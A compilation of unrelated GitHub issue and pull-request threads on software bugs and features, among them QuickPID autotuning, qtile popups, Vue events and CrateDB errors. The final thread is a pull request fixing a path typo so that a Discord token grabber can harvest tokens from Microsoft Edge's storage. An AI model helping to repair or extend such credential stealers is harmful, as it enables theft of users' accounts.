                     minor: Callback failed
                   #008: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5Gloc.c line 399 in H5G__loc_find_cb(): object 'duty_time' doesn't exist
                     major: Symbol table
                     minor: Object not found
2023-06-01 14:40:26.305008 WARNING: hdf5_error (fast5)
    cause: object 'read_length_histograms' doesn't exist
    function: H5Gopen2
    message: unable to open group
    stack_trace:

Was this issue fixed @jennieli421?

Thanks for following up! Just fixed the playback error yesterday, as described in this thread.
Thank you again, and I'll close this issue.


perfs(app): analyse and optimise performances

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Passwords show in Rails logs when lograge is enabled and custom options are provided

When using standard Rails logging, fields named password are filtered out before being logged. So they show up as :password=>\"[FILTERED]\"
When using lograge, this filtering doesn't happen - the param shows up as "password"=>"hunter2" in the logs.
Note: this doesn't happen by default, it only happens if you are passing parameters through using append_info_to_payload.

Hi, I have the same problem using rails 4.2.3 and lograge 0.9.0
What about reopen this issue?


Windy Chinese Postman

Just an idea...  Would be cool to implement the "Windy" version of this problem - "solve the problem on a graph where the weight of an edge depends on the direction along which it is traveled".  This is highly analogous to GIS applications where terrain is a factor rather than just distance.  The weight in each direction could represent total elevation gain in that direction, or perhaps total gain per km.
Furthermore, as far as I can tell, there is no working implementation of this on the entire internet - only academic papers discussing algorithms.  Once I get a little more free time I was going to take a crack at it, but I'm not truly a programmer, graph theory expert, or QGis power-user (see other open issue....).  Perhaps with enough time and effort I can do it or at least help however.

Possibly useful resources:
https://grass.osgeo.org/grass70/manuals/r.walk.html
http://gis.stackexchange.com/questions/4551/how-to-calculate-difference-in-altitude-along-lines-using-grass
1-s2.0-0305054894900795-main.pdf

Sounds like in interesting problem, but currently out of scope of this project.


fix clippy warnings (autofix)

auto fix from clippy

Hey! Thanks for the PR. All of these got fixed up in the meantime, so I think I can just close this.


Which version to use this weekend?

For the 7 league meets we are running this weekend in Iowa should I use the new web-based DataSync tool or should I use the exe version from last week?  I am only at 1 event, and most of the other scorekeepers this weekend may not be the most successful at debugging issues if they come up.  So the real question is if the web-based version is robust enough yet or not, as well as if the old version still works or not.

The web-based version is stable.
It fixes some bugs from the previous version and we recommend using the web-based version.

OK, I have let the scorekeepers know about the change and that they should use the new web-based version.  Thanks @ofekashery!


API does not support bulk synchronizing of data

Issues:

Currently, external callers can only add/update one record at a time. This will likely fail at scale.

Results for bulk insert/udpate must return bulk results.
So an array of success/fails in the same order as what was sent. The HTTP result code is insufficient since it speaks to the overall request, not individual records inside the request.

Only the fields that are known to be modified need be sent for an update.
E.g. An ElementName might be required for an insert, but for an update, if it wasn't changed, then can be omitted. This means that for inserts, the required fields are different from required fields for an update. Likely, the only required fields for an update is the primary id and a revision number (see below), plus the the subset of changed fields.

Updates might require a per-record revisioning mechanism for merge conflict checks.
This might be done using a LastMod timestamp or a specific new field with an incremented version number. The fundamental idea is that updates include a revision number (or the prior LastMod). If the data in the DB has a newer revision number that what is coming from the update, then the operation fails because someone else already modified it.

Probably should clearly define "UPSERT" means.
Does it mean a bulk operation that includes a mix of inserts/updates/deletes? Or, the database concept of upserts?
DB upserts often means NOT knowing the record ID when sending the data? (DB Unique Keys concept where a combination of fields make a row unique might make sense? But it would need to be defined for each table and is a probably a hard problem.)

I think it's OK to say the first iteration of the API is intended for client-to-server communications where the HMIS server is "source of truth" for the data. This means that it's responsible for generating new record ids for create operations, and for generating timestamps for fields like DateCreated, DateModified and DateDeleted.
Maybe we can add a "Revisit in the future" or "Future work" github label?


AutoTune input and output  shoud be pointers to numeric type.

Hi @Dlloydev.
Let me tell you first I really like your library, thank you for the job done.
Cutting to the chase, I believe, as title says, input and output of AutoTune function should be only pointers to float types. Moreover, they should point to the exact same location as QuickPID's input and output.
In my specific use scenario, I'm not using PWM nor analog readings. I read temperature values from a 1-wire network and as output I use a timed windows as the one used in the RelayOutput  example, therefore I cannot make use of the AutoTune feature.
My scenario is one of many others I could think of. There are plenty inputs apart from analog reading from a Uc pin. The same applies to the outputs.
Let me know what you thinks.
Regards.

Thanks for that @Dlloydev.
I've read your work, and have done a rework of the main idea to include the auto-tune feature inside the library, but as it own class. It's all based upon your example AutoTune_RC_Filter
It's implemented as a dynamic object in order to reduce memory footprint if the feature is not used.
I have made some comments in the code for you to read. I'm not quite familiar with the math behind PID as you, so they should be consider just as suggestions.
To make it work you should:
1- Configure your PID as usual:
QuickPID _myPID = QuickPID(&input, &output , &setpoint, kp, ki, kd, 1.0, QuickPID::REVERSE);
2- Create AutoTune object:
_myPID.AutoTune(tuningMethod) tuningMethod -> is a numeric reference to the methods as described in the library comments
3- Configure custom AutoTune parameters:
if(_myPID.autoTune != nullptr)
        _myPID.autoTune->autoTuneConfig(outputStep, hysteresis, setpoint, output);

4- Run AutoTune inside loop cycle until true is returned:
if(_myPID.autoTune != nullptr)
{
    if(_myPID.autoTune->autoTuneLoop())
    {
        _myPID.autoTune->setAutoTuneConstants(&kp, &ki, &kd);
        _myPID.clearAutoTune(); // releases memory used by AutoTune object
    }
}

As final note, I removed the avg function as I believe that averaging the input signal, if required because of noise or other factors, shouldn't be a concern of the library itself. It seems cleaner to me, to just pass a pointer to an already filtered input value to the AutoTune library. Maybe process, filter and conditionate the signal as needed before calling the autotune loop. You could even pass as pointer a variable holding the average of the raw input.
Let me know what you think.
Without further ado, my fork and the comparison between yours and mine for clarity

Wow, exceptionally nice work!
The dynamic object implementation of the AutoTunePID class looks easy to use and work with. I think the main issue here is that I'll be spending too much time playing with testing this and it could take a while to get back ...
Thanks  for the comments/suggestions in code. Many of the answers here will depend on further testing because initially, I really pushed the limits with the relay test method to see how small the step  value could be, as other research has shown improvement by using a smaller step amplitude. The Arduino PID Autotune Library is using a step amplitude of 30 and does a lot of peak detection and processing and the developer didn't seem very enthusiastic with the results.
The approach I took was to use an UNO to do the testing and to see what improvements could be made. To summarize, the analogRead's speed was increased 4x (analogReadFast), then a moving average of 16 readings is used for the relay test. So the net effect is only 4x slower (400µs) to fill the buffer but only about 25µs for each update. This not only provides filtering at minimal cost in speed, but improves the resolution to 1/16 count.
Now, (for example) to determine dead time, I could use a float (0.2) which would allow ±1 count of noise to the input of the filter and it would take 2 counts to initiate the test.
Thanks  again ... I'll be back!

Thanks for the feedback!
Unfortunately, i can't help you with the internals working of the PID AutoTune algorithm because I haven't studied it deeply. I just understand the basics.
If averaging the input signal is a must, and a necessary step of the autotune algorithm I could suggest the use of this library I tweaked a little to use statically allocated memory. (Not that it would matter since in this case the autoTune object is dinamcally allocated, and the average buffer should be part of the object internals :P)
Awaiting for your feedback based on test!
Thanks @Dlloydev

I've done some testing and work with the new AutoTune class and its working quite well, so I'll give update on progress and and answer some questions.
I've added a few parameters to the autoTuneConfig function ... "dir" for controller direction, default = 0  (direct) and "printOrPlotter" default = false (plotter).
These were changed to floats
int input = *myInput; // Shouldn't this be float
int dInput = input - lastInput; // Shouldn't this be floatc

outputStep, hysteresis,  atSetpoint and atOutput were left as integers for now as I'm not aware of any benefit using floats here.
The autotune stages were named for clarity, the serial printer now shows what stage is running.
The max output limit is checked in the examples.
The  AutoTune Filter example was splint into 2 examples, one for DIRECT and one for REVERSE acting PID. Here's the test results for automatic AutoTune, then PID control when a 10K/100uF RC filter. In the following gifs, the first part is when AutoTune is running, then the new constants are determined and applied, then the PID starts running...
AutoTune_Filter_DIRECT.ino

AutoTune_Filter_REVERSE.ino

Here's the new branch with the latest update.

Very nice work indeed!!
I'll do some test ASAP with my settings. I'm using relay output mode.
I've done some minor changes in my fork to define tuningMethod as an enum for clarity.
Feel free to incorporate it, or we can wait until this release is done and I'll do a pull request with those changes.

Thanks!
I'll incorporate the enum and do some more tests.
I put mention of your work in QuickPID.cpp ... could I put mention/thanks/link to your repo in the QuickPID README.md?
I started this repo with intentions of using the relay output mode (or a new AC timing synchronized SSR mode) - specifically to adapt an air cooker into a reflow oven, but I'll be too busy to work on this part probably until later this year.

That would be nice! Thanks @Dlloydev.
I intend to use the pid library to control a freezer's temperature.
There are many thing that I need to take into account since the freezer compressor can't be triggered ON/OFF at will. After working for some time, you have to let it rest or it will not start again for example.
Another issue is the dead time until temperature moves toward setpoint. This is mainly due to thermal inertia. This also causes some overshoots so, I believe PID is the way to go.
But as you say, I need to do some tests to see how it goes.

New release 2.3.0 is ready.

Great @Dlloydev.
Thanks for the mention!! Really appreciate.
I'll try to do some testings later today!

The latest release (2.3.1) resolves the Kp windup issue as noted in issue #6 ... it might be worth giving this a try in your testing.
Thanks,
D. Lloyd

Hi @Dlloydev. I am reading the new TIMER example.
Aside, have you looked at Ticker  library?.
ESP8266 uses different ticker library, but both of these are pretty mature and known to users. Just a comment.

Hope your project and testing works out OK. (please re-open this or create a new issue if needed).
Thanks again @gnalbandian for contributions and suggestions!


Broken Documentation Link

The link to the documentation in your readme.md is broken.
Right now it goes to...
https://danielc.dev/camlib-docs/
Poking around a bit on your site, I think maybe it's supposed to go to...
https://danielc.dev/camlib/
And also, python bindings would be great for people like me who suck at computers :)

Sorry about that, been busy lately, will fix it. For Python, I recommend ptpy. That's what I started with when hacking cameras and it still holds up well today. There's also https://github.com/lclevy/miniPtp which is also actively maintained by a ML dev.

Wonderful, thanks for the tips. I was a bit skeptical about ptpy because it's not maintained, but if you recommend it I'll check it out :)


Improve popup positioning

Adds ability to position popups relative to:

any corner of the screen
any midpoint of the screen edges
centre of the screen

Fixes #176

That was fast !!!
So I tested the 9 positions: It works fine.
One small detail i'm wondering.
I don't have the answer.
Will it make more sense to always use positive values for x and y?
For this position:

I used:
layout.show(x=-4, y=66, warp_pointer=False,relative_to=3)
So x is negative. Not a big deal.
But maybe for in terms of user "friendliness", keeping positive values to describe the x,y offset would alleviate some confusion.

I will test the others monitors tomorrow.

I wondered about that positive/negative point too. I think it would be confusing to mix them so I think it may be better just to clarify in the docs that a positive X value moves the popup right etc.

I wondered about that positive/negative point too. I think it would be confusing to mix them so I think it may be better just to clarify in the docs that a positive X value moves the popup right etc.

Agreed

About multi-monitors with:
layout.show(x=-4, y=66, warp_pointer=False,relative_to=3)
With this PR, it solves the issue regarding the popup going to neverland.
But i feel something could be improved for the "fine tuning" part.
Screen 1: 1920x1080

Screen 0: 3440x1440

The gap between the qtile bar and popup looks wider on screen 1.
It's probably because an offset of y=66 on screen 1 is 6.1% of the screen height, while on screen 0 it's only 4.6%.
So i'm wondering if an additional offset option using of % of screen width (x) and height (y) would work better ?
Also i think that one of the common use case of popup is to generate some dropdown menu initiated from qtile bar. I'm wondering if an option such as relative_to=top.qtilebar would also help.
This is because the qtile bars i'm using have different height on the 3440x1440 and 1920x1080 monitors.

That's funny. I was thinking about adding a "relative to the bar" option just now so that it would automatically offset by the width of the bar. I think it would be a separate option so it could add the extra offset to each of the existing options (excluding the one in the middle of the screen).
Why is the positioning different on your different screens? Is that just a function of pixel density? It would be easy enough to add a percentage option but I'm not certain it will fix your issue.

I'm working out the best way to include this in my tests but I've pushed the update for you anyway.

Using this setting below, i can get a consistent positioning of the popup across the three different screens.
layout.show(x=-6, y=0.003, warp_pointer=False,relative_to=3,relative_to_bar=True)
So, i'm happy with this new option.

Great. I think we can get this one merged then.


Fix InventoryClickProcessor

Fixed some bugs related to the stacking rule.
(int) ((float) cursorAmount / (float) slotCount); causes floating point error.
Both problems also need to be fixed in #610.
And It looks better to use the stacking rule's amount in block placing.

Master currently does not have exhaustive click tests (I have just pushed a few from the inventory rework branch) so I am not comfortable merging it now. This PR will likely have to wait until I or you write these.


Expand CI coverage

Attempting to start tackle aspects of https://github.com/bytecodealliance/componentize-py/issues/15
Will push it a bit farther before needing review.

@dicej I'll work on a separate PR for testing examples, but this already feels like a nice iterative step.
It updates the actions to get rid of some warnings, and also tests on Mac and Windows. Let me know if this is what you were hoping for.

@dicej sorry I forgot there was a change in the latest upload artifact action that I had to handle on another repo that I forgot to do here. I'll take a lot later tonight


$emit with native event name like 'click' causes the method to fire twice

Version
3.0.5
Reproduction link
https://codesandbox.io/s/sad-resonance-nqdyy?fontsize=14&hidenavigation=1&theme=dark
Steps to reproduce
https://codesandbox.io/s/sad-resonance-nqdyy?fontsize=14&hidenavigation=1&theme=dark
What is expected?
Once with emit
What is actually happening?
Twice with native event and with emit

see https://github.com/vuejs/vue-next/issues/2966

see https://github.com/vuejs/vue-next/issues/2966

The child-component contains a click event,
The parent-component transfers a click event to the child component.
Two responses are correct.
One is the event of the parent-component,
and the other is the child-component invokes the parent-component method and prints 'test-click'.
<button @click="$emit('click', 'test-click')">test-click</button> -----> <button>test-click</button> will become normal

The child-component contains a click event,
The parent-component transfers a click event to the child component.
Two responses are correct.
One is the event of the parent-component,
and the other is the child-component invokes the parent-component method and prints 'test-click'.
<button @click="$emit('click', 'test-click')">test-click</button> -----> <button>test-click</button> will become normal

The child-component contains a click event,
The parent-component transfers a click event to the child component.
Two responses are correct.
One is the event of the parent-component,
and the other is the child-component invokes the parent-component method and prints 'test-click'.
<button @click="$emit('click', 'test-click')">test-click</button> -----> <button>test-click</button> will become normal

The child-component contains a click event,
The parent-component transfers a click event to the child component.
Two responses are correct.
One is the event of the parent-component,
and the other is the child-component invokes the parent-component method and prints 'test-click'.
<button @click="$emit('click', 'test-click')">test-click</button> -----> <button>test-click</button> will become normal

This will lead to more time consuming migration. And it doesn't look normal.
inheritAttrs: false - this really works, but it partially solves the problem, I may want to keep which attributes and rename which other.

This will lead to more time consuming migration. And it doesn't look normal.
inheritAttrs: false - this really works, but it partially solves the problem, I may want to keep which attributes and rename which other.

you can also define click as a component event by adding
export default {
  emits: ["click"],
}

With this, Vue will no longer add a native eventlistener for this event, and you can control it with $emit

you can also define click as a component event by adding
export default {
  emits: ["click"],
}

With this, Vue will no longer add a native eventlistener for this event, and you can control it with $emit

you can also define click as a component event by adding
export default {
  emits: ["click"],
}

With this, Vue will no longer add a native eventlistener for this event, and you can control it with $emit

This seems not working with web-components, e.g.
https://github.com/material-components/material-components-web-components/tree/master/packages/select
mwc-select has internally a change-event which is leaking up to the parent. inheritAttrs: false works...

you can also define click as a component event by adding
export default {
  emits: ["click"],
}

With this, Vue will no longer add a native eventlistener for this event, and you can control it with $emit

This seems not working with web-components, e.g.
https://github.com/material-components/material-components-web-components/tree/master/packages/select
mwc-select has internally a change-event which is leaking up to the parent. inheritAttrs: false works...

Can't say anything about that with a one-liner description. Feel free to open a new issue if you have a reproduction going.

Can't say anything about that with a one-liner description. Feel free to open a new issue if you have a reproduction going.


how to choose the tree number?

I have rewrite the regression demo, putting the data of mine into the conf file and other parameters stay the same. But the model only have two trees, I scan the parameter page, but find nothing relates to the tree numbers.

num_round

If you are using R detailed information are provided in Vignette.


Add fixtures for rule bundles

Description of changes
Add fixture for grade rules, field of study rule, and rule bundles
This means that you can automatically load the data (which is a mirror of dev/prod) for local testing, by running
python manage.py loaddata apps/events/fixtures/Rules.json

This is ~very~ extremely helpful for local testing
Note: AFAIK there is zero sensitive information in these bundles, and I think it should be much easier to locally test OW4 stuff

I agree that fixtures can be ~very~ extremely helpful when testing locally, and I think we should have fixture of more than just rule-bundles!
But I don't think it is the right course of action to replicate our entire database of instances for our PROD database as fixtures.
I think it would be wise to have a small amount of pre-defined fixtures for common use-cases that we can test with, and maintain in an easier manner?

@henrikhorluck Bump

Would be nice but should (probably) 1. use yaml instead of json and 2. have a lot more, perhaps to replace use of django_dynamic_fixtures


Output area in separate window

It would be great to be able to move the Output Area into a separate window (e.g. to make use of a second screen).
Thanks for this great package anyway!

Great idea, but unfortunately I'm not sure if this is possible, since as far as I know Atom windows run in a separate process so we cannot easily move the panel to another window.

Just wanted to back this up. That feature would be awesome when working with two screens. And yes, thanks for the package anyway (just switched from Sublime because of this great package (and the really slow Sublime R REPL)).

It looks like other packages have found a way to use separate windows:
https://github.com/atom-community/markdown-preview-plus/pull/385
https://github.com/atom-community/markdown-preview-plus/issues/36
Could the same thing be done for hydrogen output and hydrogen inspector panes?

Would be really useful!

The PR @ffinger 	 mentioned for markdown-preview-plus has a diff of 1000 new lines of code. If someone wants to submit a PR that would be great but it looks like a large amount of work.

I would suggest an other, maybe easier approach:
Would it be possible to redirect the output to an other external terminal that is connected to the same kernel? I already asked that question on the hydrogen-launcher site.

Most terminals don't support rich output

What do you exactly mean by that? The  colours? I am using the gnome3 terminal and it looks pretty good. Isn't that a very common one?

Like HTML output

Everything is always possible, but is it easy to change Hydrogen Output Area to bottom of screen? :)


MNT: cmake patches

back port solutions to issue found with the conda recipe

@ofek This should be ready for review, a bit more commits than I liked


second Post | btONF - 热爱编程,编程使我快乐(滑稽)

https://btonf.github.io/2018/06/12/second.html
This is the demo site for a Jekyll theme version of HTML5 UP's sleek, responsive site template Prologue.

沙发


OC-191 ~ Moves Oslp.java to package and removes generation from poms.

retest this please

Changes will be merged as part of another PR: https://github.com/OSGP/open-smart-grid-platform/pull/552

Changes will be merged as part of another PR: https://github.com/OSGP/open-smart-grid-platform/pull/552


SQLActionException[IndexOutOfBoundsException: Index: 0, Size: 0]

CrateDB version: 3.2.0
Environment description:
java version "1.8.0_181" Oracle Corporation OpenJDK 64-Bit Server VM (build 25.181-b13)
Using the docker image crate/crate:3.2.0
Docker version: 18.09.1, build 4c52b90
Problem description:
I get the error:
SQLActionException[IndexOutOfBoundsException: Index: 0, Size: 0]
when I run the following SQL below;
Steps to reproduce:
This is related to: #8103
SELECT DISTINCT
  "location_country",
  COUNT("location_country") AS "no_of_plays"
FROM "voxsnap"."events_2018"
WHERE (
  "customer" = 'acustomerid' AND
    (
      "event_type" = 'play' OR
       "event_type" = 'alexaplay' OR
       "event_type" = 'podcastplay'
    )
  AND "location_country" IS NOT NULL
)
GROUP BY "events_2018"."location_country"
ORDER BY "events_2018"."location_country" ASC;

Crate Version: 3.1.4
java version "1.8.0_181" Oracle Corporation OpenJDK 64-Bit Server VM (build 25.181-b13)
Similar Issue : Stacktrace is following
SQLActionException[IndexOutOfBoundsException: Index: 1, Size: 1]
SQLActionException: 500 Internal Server Error 5000 IndexOutOfBoundsException: Index: 1, Size: 1
	at java.util.ArrayList.rangeCheck(ArrayList.java:657)
	at java.util.ArrayList.get(ArrayList.java:433)
	at io.crate.expression.InputRow.get(InputRow.java:47)
	at io.crate.execution.engine.collect.InputCollectExpression.setNextRow(InputCollectExpression.java:38)
	at io.crate.execution.engine.collect.InputCollectExpression.setNextRow(InputCollectExpression.java:26)
	at io.crate.execution.engine.collect.GroupByOptimizedIterator.applyAggregatesGroupedByKey(GroupByOptimizedIterator.java:286)
	at io.crate.execution.engine.collect.GroupByOptimizedIterator.lambda$tryOptimizeSingleStringKey$3(GroupByOptimizedIterator.java:180)
	at io.crate.data.CollectingBatchIterator.loadNextBatch(CollectingBatchIterator.java:135)
	at io.crate.data.CloseAssertingBatchIterator.loadNextBatch(CloseAssertingBatchIterator.java:69)
	at io.crate.data.AsyncCompositeBatchIterator.lambda$loadNextBatch$1(AsyncCompositeBatchIterator.java:131)
	at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1590)
	at org.elasticsearch.common.util.concurrent.ThreadContext$ContextPreservingRunnable.run(ThreadContext.java:568)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)

Fixed in new update

I still have this issue in 4.0.0 version.
Have SQLActionException[IndexOutOfBoundsException: Index 0 out of bounds for length 0] error:
select count(p.funnelid) purchases, p.funnelid funnelid
from purchases p
where p.contactid = 'f952b1f8-288a-4c73-a08c-76b789d703e9' and p.transactionstatus = 5 and p.funnelid is not null
group by p.funnelid

Works well:
select count(1) purchases, p.funnelid funnelid
from purchases p
where p.contactid = 'f952b1f8-288a-4c73-a08c-76b789d703e9' and p.transactionstatus = 5 and p.funnelid is not null
group by p.funnelid

@RomanGorbatko could you also post the schema of your tables?

@mfussenegger
CREATE TABLE IF NOT EXISTS "stat"."purchases"
(
	"id" string,
	"revisionid" string, /* uuid funnels.revisions */
	"userid" String, /* uuid users.users */
	"contactid" String, /* UUID|nullable contacts.contacts */
	"sourceid" String, /* UUID funnels.sources */
	"upgradeid" String,
	"paymentsystem" String,
	"trackingkey" String,
	"invoiceurl" String,
	"orderdetailsurl" String,
	"productname" String, /* UUID funnels.products */
	"productid" String, /* UUID funnels.products */
	"producttype" Integer, /* Enum8( 'main' = 1, 'upsell' = 2, 'downsell' = 3 ), */
	"productcost" Double,
	"productcurrency" String,
	"quantity" Integer,
	"amount" Double,
	"transactionid" String, /* UUID */
	"transactiontype" Integer, /* Enum8( 'single_payment' = 1, 'subscription' = 2, 'installment' = 3 ), */
	"transactionstatus" Integer, /* Enum8( 'paying' = 1, 'aborted' = 2, 'unpaid' = 3, 'reminding' = 4, 'completed' = 5 ), */
	"transactiondate" Timestamp,
	"vatamount" Double,
	"vatrate" String,
	"geocountry" string,
	"eventdate" Timestamp,
	"stepid" string, /* uuid funnels.steps */
	"prevstepid" string, /* uuid funnels.steps */
	"prevsteptype" integer, /* uuid funnels.steps */
	"funnelid" string, /* uuid funnels.funnels */
	"pageid" string, /* uuid funnels.pages */
	"prevpageid" string, /* uuid funnels.pages */
	"steptype" integer, /* variations simple */
	"funneltype" integer, /* variations detailed */
	"paymentlogid" string, /* variations detailed */
	"isreply" boolean
);

@RomanGorbatko

Do you run this on a single node or a cluster with mulitple nodes?
Could you also run the same query again with verbose enabled and post the stacktrace? (inside crash \verbose or in the admin-ui check the show error trace option.
Could you also run the following query and post the output of that?

EXPLAIN
SELECT
    count(p.funnelid) purchases,
    p.funnelid funnelid
FROM
    stat.purchases p
WHERE
    p.contactid = 'f952b1f8-288a-4c73-a08c-76b789d703e9'
    AND p.transactionstatus = 5
    AND p.funnelid IS NOT NULL
GROUP BY
    p.funnelid;


Modified gobblin-metrics test to be less dependent on Kafka

@chavdar @pcadabam can you review?

LGTM.  When we move the Metric design wikis to github we should describe the pattern in the "How to write a reporter" section.


UI Redesign

Initial Phase

@Guillar1 I think you might want to hold off for a bit (or at least be cognizant as you're working through this) because iTwinUI-css and iTwinUI-react are very close to releasing a new major version. The biggest change that will affect you is that we will no longer offer Sass variables or mixins. Instead we will offer CSS variables only.

Following up on my previous comment: we have published release candidates for our packages, which you might want to incorporate in this redesign. This is available through the dev tag (currently 2.0.0-dev.0).
"@itwin/itwinui-react": "dev",

Next week we will release a stable 2.0 version for @itwin/itwinui-react and 1.0 for @itwin/itwinui-css (which you don't need to directly depend on fwiw).
As I mentioned previously, the biggest code change that will affect synchronization-report is Sass variables -> CSS variables. These are available through @itwin/itwinui-variables (which is automatically imported by itwinui-react).  We will have a proper migration guide as well, if you prefer to wait for that.
There are also significant visual changes, so you might want to release a new major version of synchronization-report after upgrading.
If you have any questions, feel free to ping me.


Tooltip text takes too long to appear

For the average user, the tooltips on small images take so long to display that they will have moved their cursor off the image. Can we override the default behaviour to display the tooltip quicker?

This requires custom implementation to add custom html for each overlay. Native html titles can't be customized


Split production and dev linting

Closes #73.
Note that using separate .eslintrc files wasn't the way to go, as specifying a config file via the CLI breaks the hierarchy system. Instead I opted for an override in the existing config, plus inline rule changes in the gulpfile, which is… meh, but ok.
Also — I added a lintJSProduction task, but it's not currently used in any production workflow. @joedotjs maybe we should either include it as a dependency to another task, or else take it out? Or we can leave it in just in case we want to use it in the future.

Oh yeah and you'll note that I added CI via Codeship to the Fullstack FSG repo. Hooray.

w00t


[Make $] Support Jaime's modeling approach

Jaime's original models were in approach2.
The YAML-CLI work (merged Jan 17, 2024) deprecated predictoor approach2, because it's hard to work with and change.
Approach2 was really a pain to work with anyway. And for users to use, because of messy imports etc.
And since that time, Jaime has moved on with his work too. His status quo - as of Jan 18 2024 - is: ref slack
"Here are the two strategies that I have implemented, first the single threshold model, with balanced probabilities, including a trading script. Also the second strategy that uses several models to obtain a set of thresholds and probabilities. https://github.com/oceanprotocol/trading-experiment"

We won't be doing this directly. So closing.
What's actually happening:

Jaime is running trading for real. Whatever useful emerges from that, we'll create github issues for it and build that
We are tracking specific learnings and putting them in as we go. Eg sklearn probability calibration.


Make kernel fee optional

We use feature bits to indicate the existence of optional fields on the kernel. Currently we support the following feature bits:
0x01 - pegin
0x02 - pegout
0x04 - height lock
0x08 - extra data
We could add one more for fee so when the feature bit is not set, there will be no fee.

Implemented in https://github.com/ltc-mweb/libmw/commit/8667a664309918effbfb333ce12a121d4ac295be


WDK UDs uploaded through this service have extra quotation marks around the name, summary, and description fields

PR to address this: https://github.com/VEuPathDB/util-user-dataset-handler-server/pull/26#pullrequestreview-1060840980

This looks great @dmgaldi. Should I mark the status for this as "Done" and close the ticket?

Great! Yeah, I'll go ahead and close it now


⚠ Bofrost.fr has degraded performance

In de1f13b, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 833 ms

Resolved: Bofrost.fr performance has improved in f2f9675 after 10 minutes.


Module wise Typos changes

Typos changes module wise
Checklist:

[x] Securely signed commits
[x] Component(s) with PHPdocs
[x] Unit testing, with >80% coverage
[ ] User guide updated
[x] Conforms to style guide

@jim-parry & @lonnieezell, I didn't make any changes in the PHPUnit configs. Then too getting this error.
PHP Fatal error:  Uncaught SebastianBergmann\Timer\RuntimeException: Cannot determine time at which the request started in /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php:85
Stack trace:
#0 /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php(98): SebastianBergmann\Timer\Timer::timeSinceStartOfRequest()
#1 /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php(410): SebastianBergmann\Timer\Timer::resourceUsage()
#2 /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php(183): PHPUnit\TextUI\ResultPrinter->printHeader()
#3 /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/TestRunner.php(652): PHPUnit\TextUI\ResultPrinter->printResult(Object(PHPUnit\Framework\TestResult))
#4 /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/Command.php(206): PHPUnit\TextUI\TestRunner->doRun(Object(PHPUnit\Framework\TestSuite), Array, true)
# in /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php on line 85
Fatal error: Uncaught SebastianBergmann\Timer\RuntimeException: Cannot determine time at which the request started in /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php on line 85
SebastianBergmann\Timer\RuntimeException: Cannot determine time at which the request started in /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php on line 85
Call Stack:
    0.0001     424032   1. {main}() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/phpunit:0
    0.0043     937984   2. PHPUnit\TextUI\Command::main() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/phpunit:61
    0.0043     938096   3. PHPUnit\TextUI\Command->run() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/Command.php:162
    0.5041   20627472   4. PHPUnit\TextUI\TestRunner->doRun() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/Command.php:206
  250.7060  207901256   5. PHPUnit\TextUI\ResultPrinter->printResult() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/TestRunner.php:652
  250.7060  207901256   6. PHPUnit\TextUI\ResultPrinter->printHeader() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php:183
  250.7060  207901256   7. SebastianBergmann\Timer\Timer::resourceUsage() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php:410
  250.7060  207901256   8. SebastianBergmann\Timer\Timer::timeSinceStartOfRequest() /home/travis/build/codeigniter4/CodeIgniter4/vendor/phpunit/php-timer/src/Timer.php:98

Please guide me, where I have made the changes, as everything is working fine in the local environment.

I haven't seen this error before!
Googling led to https://github.com/sebastianbergmann/phpunit/issues/3026
That suggests enabling backup & restore of $GLOBALS, but I don't see that you have changed that.
The only thing I can think of is to break the PR into smaller ones, eg one per commt in the history above.

The return type of color() fixed the travos-ci break? go figure!

Nope. The getUserInfo() method of URI return type is given string in coment block. I have reverted the same.
But we need to figure it out the actual return types of methods.
There are many methods in Database module have incorrect return type documented.

Typos changes completed. No more commits in this PR.

Any update on this PR. Is any change required?

Looks fine to me. Merging.


Multiroom support / command line quit

Any way to add multiroom for chromecast audio?
Also I would like to use the command line to fully control the player (not the keyboard). Would be highly appreciated. Thanks

+1

@Febus123 how do you want to use the command line to control the player fully? I mean, do you want to attach to a session with only a control request (eg. pause). Or do you want to control it with some kind of script? For the script part, you can easily just send signals through stdin.

+1 on the multiroom support

Another +1!

Command line controls are exactly what I'm looking for.
I'd personally like something along the lines of this: (where you could still define a device if needed)
castnow --address 192.168.1.x --command <volup,voldown,pause,stop,etc,quit>
It would also be great if you could pick a volume percentage like:
castnow --command vol50

+1 for multiroom support


Fix discord token grabber for Microsoft Edge

I have Microsoft Edge, and the discord token grabber wasn't working for me. Today, I was trying to find out why, and I found it was because of a bug.
Line 48 says this:
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',

There is a typo in this path: Instead of Default, it says Defaul. This leads to the token grabber failing to find tokens for Microsoft Edge.
To fix it, I simply corrected the typo:
